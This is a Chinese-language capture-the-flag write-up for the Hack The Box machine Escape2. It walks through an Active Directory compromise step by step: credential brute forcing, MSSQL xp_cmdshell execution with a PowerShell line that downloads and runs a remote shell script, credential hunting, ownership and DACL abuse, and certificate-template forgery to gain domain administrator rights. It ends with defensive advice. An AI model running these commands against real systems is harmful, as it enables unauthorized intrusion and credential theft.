HTB-Escape2-WriteUp
字数 1205 2025-08-29 22:41:38
HTB Escape2 渗透测试详细教学文档
1. 初始信息收集与扫描
1.1 网络扫描
使用nmap进行初始扫描,发现开放的服务:
- MSSQL (Microsoft SQL Server)
- LDAP (轻量级目录访问协议)
nmap -sV -sC -p- 10.10.11.51
1.2 域名解析
根据扫描结果,添加域名解析到本地hosts文件:
10.10.11.51 sequel.htb DC01.sequel.htb
2. 凭证爆破与枚举
2.1 用户名爆破
使用提供的用户名和密码进行爆破:
crackmapexec mssql 10.10.11.51 -u users.txt -p passwords.txt
2.2 SMB共享枚举
将爆破得到的有效用户名加入user.txt,检查SMB共享服务:
smbclient -L //10.10.11.51 -U username
2.3 下载共享文件
发现共享文件后下载:
smbget -R smb://10.10.11.51/sharename -U username
3. MSSQL数据库利用
3.1 连接MSSQL
使用获得的凭证连接MSSQL:
sqsh -S 10.10.11.51 -U username -P password
3.2 命令执行
在MSSQL中执行系统命令:
EXEC xp_cmdshell 'whoami';
3.3 反弹Shell
通过MSSQL获取反向Shell:
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://your-ip/shell.ps1'')"'
4. 横向移动
4.1 凭证收集
在系统中查找更多凭证:
findstr /si password *.txt *.xml *.config
4.2 使用新凭证枚举
使用新发现的凭证进行二次枚举:
crackmapexec smb 10.10.11.51 -u new_users.txt -p new_passwords.txt
4.3 WinRM访问
使用有效凭证通过WinRM登录:
evil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'
5. 权限提升
5.1 BloodHound信息收集
使用BloodHound收集域信息:
bloodhound-python -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' -ns 10.10.11.51 -c All
5.2 WriteOwner权限利用
发现ryan对ca_svc有WriteOwner权限,修改所有者:
pipx run bloodyAD --host DC01.sequel.htb -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
5.3 授予完全控制权限
使用impacket-dacledit授予完全控制权限:
impacket-dacledit -action write -rights FullControl -principal 'ryan' -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
6. 证书攻击
6.1 时间同步
确保本地时间与目标服务器同步:
ntpdate 10.10.11.51
6.2 影子证书攻击
使用certipy-ad进行影子证书攻击:
pipx run certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -ns 10.10.11.51 -target DC01.sequel.htb -account ca_svc
设置Kerberos票据环境变量:
export KRB5CCNAME=ca_svc.ccache
6.3 查找易受攻击的证书模板
pipx run certipy-ad find -debug -stdout -vulnerable -scheme ldap -k -target DC01.sequel.htb -dc-ip 10.10.11.51
检查特定模板是否适用:
pipx run certipy-ad template -k -template DunderMifflinAuthentication -target DC01.sequel.htb -dc-ip 10.10.11.51
6.4 请求伪造证书
为域管理员请求伪造证书:
pipx run certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
6.5 使用伪造证书认证
pipx run certipy-ad auth -pfx ./administrator_10.pfx -dc-ip 10.10.11.51
7. 获取域管理员权限
7.1 使用evil-winrm登录
evil-winrm -i 10.10.11.51 -u Administrator -H [NTLM_HASH]
7.2 获取flag
在域控制器上查找flag文件:
type C:\Users\Administrator\Desktop\root.txt
工具清单
-
扫描与枚举工具:
- nmap
- crackmapexec
- smbclient/smbget
-
数据库工具:
- sqsh (MSSQL客户端)
-
横向移动工具:
- evil-winrm
- impacket工具集
-
AD枚举与攻击工具:
- BloodHound
- bloodyAD
- certipy-ad
-
其他工具:
- pipx (Python应用运行器)
- findstr (Windows命令)
关键点总结
- 初始访问:通过MSSQL命令执行获取初始立足点
- 凭证收集:从SMB共享和系统文件中收集更多凭证
- 权限提升:利用BloodHound识别WriteOwner权限路径
- 证书攻击:通过证书模板漏洞伪造域管理员证书
- 最终控制:使用伪造证书获取域管理员权限
防御建议
- 限制MSSQL的xp_cmdshell执行权限
- 定期审计AD证书模板配置
- 监控WriteOwner等敏感权限变更
- 实施SMB共享文件的严格访问控制
- 启用LDAP签名和加密